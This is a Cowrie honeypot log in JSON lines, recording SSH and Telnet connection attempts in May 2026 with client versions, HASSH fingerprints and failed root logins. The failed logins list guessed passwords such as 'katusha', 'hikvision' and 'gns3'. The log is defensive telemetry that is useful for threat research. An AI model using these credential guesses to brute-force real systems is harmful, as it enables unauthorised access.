{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52388,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ca6973b7547","protocol":"ssh","message":"New connection: 147.45.199.80:52388 (159.203.135.109:22) [session: 3ca6973b7547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:43.463542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:43.467984Z","src_ip":"147.45.199.80","session":"3ca6973b7547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:43.562591Z","src_ip":"147.45.199.80","session":"3ca6973b7547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katusha","message":"login attempt [root/katusha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:43.849747Z","src_ip":"147.45.199.80","session":"3ca6973b7547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50728,"dst_ip":"10.17.0.5","dst_port":23,"session":"735bf24e7877","protocol":"telnet","message":"New connection: 192.119.13.58:50728 (10.17.0.5:23) [session: 735bf24e7877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:44.249741Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:44.948873Z","src_ip":"147.45.199.80","session":"3ca6973b7547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":43348,"dst_ip":"10.17.0.5","dst_port":22,"session":"f539d69ac3e8","protocol":"ssh","message":"New connection: 43.228.112.254:43348 (10.17.0.5:22) [session: f539d69ac3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:49.887050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:49.892015Z","src_ip":"43.228.112.254","session":"f539d69ac3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:50.113036Z","src_ip":"43.228.112.254","session":"f539d69ac3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!123","message":"login attempt [root/admin!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:51.028762Z","src_ip":"43.228.112.254","session":"f539d69ac3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:52.255505Z","src_ip":"43.228.112.254","session":"f539d69ac3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":46890,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ff9be1ccd85","protocol":"ssh","message":"New connection: 43.130.57.37:46890 (10.17.0.5:22) [session: 0ff9be1ccd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:59.842510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:59.847254Z","src_ip":"43.130.57.37","session":"0ff9be1ccd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:59.916632Z","src_ip":"43.130.57.37","session":"0ff9be1ccd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hui123","message":"login attempt [root/hui123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:00.231060Z","src_ip":"43.130.57.37","session":"0ff9be1ccd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:01.304724Z","src_ip":"43.130.57.37","session":"0ff9be1ccd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":33130,"dst_ip":"10.17.0.5","dst_port":22,"session":"8658b0f595d8","protocol":"ssh","message":"New connection: 41.93.28.9:33130 (10.17.0.5:22) [session: 8658b0f595d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:13.888472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:13.893478Z","src_ip":"41.93.28.9","session":"8658b0f595d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:17.173637Z","src_ip":"41.93.28.9","session":"8658b0f595d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38327693939209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:19.632890Z","src_ip":"192.119.13.58","session":"735bf24e7877","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hikvision","message":"login attempt [root/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:25.268358Z","src_ip":"41.93.28.9","session":"8658b0f595d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:27.211326Z","src_ip":"41.93.28.9","session":"8658b0f595d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":57473,"dst_ip":"159.203.135.109","dst_port":23,"session":"b088120a6c7f","protocol":"telnet","message":"New connection: 186.195.16.41:57473 (159.203.135.109:23) [session: b088120a6c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:35.429218Z"}
{"eventid":"cowrie.session.closed","duration":1.565690517425537,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:36.994779Z","src_ip":"186.195.16.41","session":"b088120a6c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39700,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb33dc57a1b","protocol":"ssh","message":"New connection: 103.153.68.219:39700 (159.203.135.109:22) [session: 6bb33dc57a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:57.581710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:57.586341Z","src_ip":"103.153.68.219","session":"6bb33dc57a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:57.837704Z","src_ip":"103.153.68.219","session":"6bb33dc57a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"account","message":"login attempt [root/account] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:58.591957Z","src_ip":"103.153.68.219","session":"6bb33dc57a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:51:59.846710Z","src_ip":"103.153.68.219","session":"6bb33dc57a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":58750,"dst_ip":"10.17.0.5","dst_port":22,"session":"7416f8066be4","protocol":"ssh","message":"New connection: 43.228.112.254:58750 (10.17.0.5:22) [session: 7416f8066be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:05.244747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:05.253289Z","src_ip":"43.228.112.254","session":"7416f8066be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:05.473854Z","src_ip":"43.228.112.254","session":"7416f8066be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gns3","message":"login attempt [root/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:06.390101Z","src_ip":"43.228.112.254","session":"7416f8066be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:07.612457Z","src_ip":"43.228.112.254","session":"7416f8066be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":54048,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e096ab01ab","protocol":"ssh","message":"New connection: 43.130.57.37:54048 (10.17.0.5:22) [session: e1e096ab01ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:07.623047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:07.626502Z","src_ip":"43.130.57.37","session":"e1e096ab01ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:07.695221Z","src_ip":"43.130.57.37","session":"e1e096ab01ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root11root","message":"login attempt [root/root11root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:08.003189Z","src_ip":"43.130.57.37","session":"e1e096ab01ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:09.076558Z","src_ip":"43.130.57.37","session":"e1e096ab01ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":47806,"dst_ip":"159.203.135.109","dst_port":22,"session":"551020d34dc9","protocol":"ssh","message":"New connection: 38.253.239.21:47806 (159.203.135.109:22) [session: 551020d34dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:26.634158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:26.643352Z","src_ip":"38.253.239.21","session":"551020d34dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:26.871211Z","src_ip":"38.253.239.21","session":"551020d34dc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mail","message":"login attempt [root/mail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:27.813199Z","src_ip":"38.253.239.21","session":"551020d34dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:29.044634Z","src_ip":"38.253.239.21","session":"551020d34dc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36672,"dst_ip":"159.203.135.109","dst_port":22,"session":"406198fad016","protocol":"ssh","message":"New connection: 77.94.47.83:36672 (159.203.135.109:22) [session: 406198fad016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:32.912993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:32.917567Z","src_ip":"77.94.47.83","session":"406198fad016","protocol":"ssh"}
